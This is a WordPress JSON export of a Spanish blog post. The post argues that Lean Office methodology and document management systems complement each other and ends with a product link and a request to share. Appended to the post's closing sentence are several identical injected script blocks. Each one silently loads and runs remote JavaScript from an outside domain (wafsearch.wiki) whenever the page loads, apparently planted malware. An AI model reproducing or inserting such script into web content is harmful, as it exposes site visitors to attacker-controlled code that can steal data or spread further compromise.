{"id":790,"date":"2012-07-10T09:58:58","date_gmt":"2012-07-10T07:58:58","guid":{"rendered":"http:\/\/www.blocument.com\/?p=790"},"modified":"2026-03-20T06:18:58","modified_gmt":"2026-03-20T11:18:58","slug":"lean-office-y-gestion-documental-una-buena-pareja","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/lean-office-y-gestion-documental-una-buena-pareja\/","title":{"rendered":"Lean Office y Gesti\u00f3n Documental, una buena pareja"},"content":{"rendered":"<p><strong>El concepto <span style=\"text-decoration: underline;\">Lean Office<\/span> adapta el modelo de mejora continua de la producci\u00f3n \u2013Lean Manufacturing- \u00a0a las \u00e1reas de administraci\u00f3n y entornos de oficina bajo la misma filosof\u00eda de incremento de la productividad.<\/strong><\/p>\n<p>\u00bfQu\u00e9 es Lean Manufacturing? <strong><a href=\"http:\/\/es.wikipedia.org\/wiki\/Lean_manufacturing\" target=\"_blank\" rel=\"noopener\">Lean Manufacturing<\/a>\u00a0<\/strong>es una metodolog\u00eda de trabajo simple y efectiva que tiene su origen en Jap\u00f3n, enfocada a <strong>incrementar la eficiencia productiva en todos los procesos<\/strong> a partir de que se implanta la filosof\u00eda <em>kaizen<\/em> de <strong>mejora continua<\/strong>.<\/p>\n<p>Tambi\u00e9n se puede aplicar esta t\u00e9cnica de mejora continua en los <strong>procesos administrativos<\/strong> de las compa\u00f1\u00edas para mejorarlos y hacerlos m\u00e1s eficientes.<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/LeanOffice2.jpg\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-795\" title=\"Lean Office y Gestion Documental\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/LeanOffice2.jpg\" alt=\"Lean Office y Gestion Documental\" width=\"510\" height=\"488\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/LeanOffice2.jpg 637w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/LeanOffice2-768x735.jpg 768w, https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/07\/LeanOffice2-600x574.jpg 600w\" sizes=\"(max-width: 510px) 100vw, 510px\" \/><\/a><\/p>\n<p>Un gran porcentaje de la cuenta de gastos de una empresa est\u00e1 relacionada con los costes indirectos. <strong>Lean Office<\/strong> ayudar\u00e1 a encontrar modos de reducir esos costes mediante de <strong>eliminaci\u00f3n de los despilfarros e ineficiencias en la oficina<\/strong>.<\/p>\n<p>Esta<strong> estrategia<\/strong> de mejora continua en la oficina debe estar <strong>apoyada<\/strong> en los sistemas de informaci\u00f3n que facilitar\u00e1n su implementaci\u00f3n, como por ejemplo un <strong>sistema de gesti\u00f3n documental profesional<\/strong> (SGD).<\/p>\n<p>Veamos c\u00f3mo un sistema de gesti\u00f3n documental profesional ayuda a obtener resultados en la implantaci\u00f3n de la metodolog\u00eda Lean Office.<\/p>\n<p>\u00bfPor qu\u00e9 debe una empresa implantar LEAN OFFICE?<\/p>\n<ul>\n<li>para evitar <strong>duplicidad de tareas<\/strong>,<\/li>\n<li>para agilizar los <strong>flujos de informaci\u00f3n<\/strong>,<\/li>\n<li>para mejorar la <strong>cooperaci\u00f3n<\/strong> con otros departamentos,<\/li>\n<li>para mejorar los <strong>procesos de archivo<\/strong>,<\/li>\n<li>para reducir el <strong>tiempo de persona parada.<\/strong><\/li>\n<\/ul>\n<p>A partir de lo anterior vemos que un sistema de gesti\u00f3n documental es una herramienta importante para conseguir los beneficios del Lean Office porque:<\/p>\n<ul>\n<li>evita la <strong>duplicidad de tareas<\/strong> mediante la asignaci\u00f3n de las tareas a un usuario responsable y mediante la gesti\u00f3n de los permisos necesarios sobre los documentos,<\/li>\n<li>agiliza los <strong>flujos de informaci\u00f3n<\/strong> entre usuarios mediante la configuraci\u00f3n de flujos de trabajo sobre los documentos,<\/li>\n<li>mejora la <strong>cooperaci\u00f3n<\/strong> con otros departamentos gracias a las funcionalidades de colaboraci\u00f3n sobre los documentos, gesti\u00f3n de versiones, flujos de trabajo,<\/li>\n<li>mejora los <strong>proceso de archivo<\/strong> al centralizarlo, digitalizarlo y posibilitar el etiquetado con metadatos de los documentos,<\/li>\n<li>reduce del <strong>tiempo de persona parada<\/strong> por largos tiempos de acceso a la informaci\u00f3n, gracias a las funciones de b\u00fasqueda avanzada de los documentos y a la facilidad de recuperaci\u00f3n.<\/li>\n<\/ul>\n<p>Por lo tanto vemos que\u00a0 <strong>LEAN OFFICE<\/strong>\u00a0y <strong>GESTI\u00d3N DOCUMENTAL<\/strong> forman una buena pareja y que incluso se pueden determinar objetivos cuantificables a alcanzar mediante la aplicaci\u00f3n de ambos sistemas, como por ejemplo:<\/p>\n<ul>\n<li>Reducci\u00f3n del \u201clead-time\u201d o plazo de entrega administrativo.<\/li>\n<li>Ahorro de material de oficina.<\/li>\n<li>Aumento de la productividad.<\/li>\n<li>Reducci\u00f3n del total de los inventarios de documentaci\u00f3n.<\/li>\n<li>Eliminaci\u00f3n de un gran porcentaje del gasto de papel.<\/li>\n<\/ul>\n<p>Si quieres conocer una herramienta de gesti\u00f3n documental que te ayudar\u00e1 a implantar el Lean Office en tu organizaci\u00f3n, <a href=\"http:\/\/www.gestiondocumental.biz\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\"><strong>haz clic aqu\u00ed<\/strong><\/a>.<\/p>\n<p>\u00bfTe ha interesado esta informaci\u00f3n? Si crees que puede ser \u00fatil para m\u00e1s gente, ay\u00fadanos a difundirla a trav\u00e9s de las redes sociales \ud83d\ude42<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type 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